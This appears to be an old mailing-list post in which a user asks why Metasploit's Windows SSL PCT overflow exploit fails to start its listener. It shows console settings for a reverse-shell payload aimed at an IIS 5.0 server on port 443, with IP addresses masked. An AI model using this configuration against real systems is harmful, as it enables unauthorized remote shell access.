Error while executing MS PCT Exploit

[astrixs at gmail.com (AsTriXs)]

Hi,
I get the following error while running the web console and the CLI
version of Metasploit.

Processing exploit request (Windows SSL PCT Overflow)...
Using payload: win32_reverse_stg
Error: Could not start listener: Operation not permitted


I am running a Win2000 SP4 box with IE 6.

My global environment is given below

msf windows_ssl_pct > setg
AlternateExit: 2
Console: Msf::PayloadComponent::TextConsole
DebugLevel: 0
Encoder: Msf::Encoder::PexFnstenvMov
Logging: 0
Nop: Msf::Nop::Pex

My Local Environment is given below

msf windows_ssl_pct(win32_reverse) > set
LHOST: xxx.xxx.xxx.xxx
LPORT: 4321
PAYLOAD: win32_reverse
RHOST: xxx.xxx.xxx.xxx
RPORT: 443
TARGET: 0

The target machine is  a windows 2000 with IIS 5.0 with ports 80, 443 open.
Please indicate what the possible reason for the error could be.

-- 
[AsTriXs]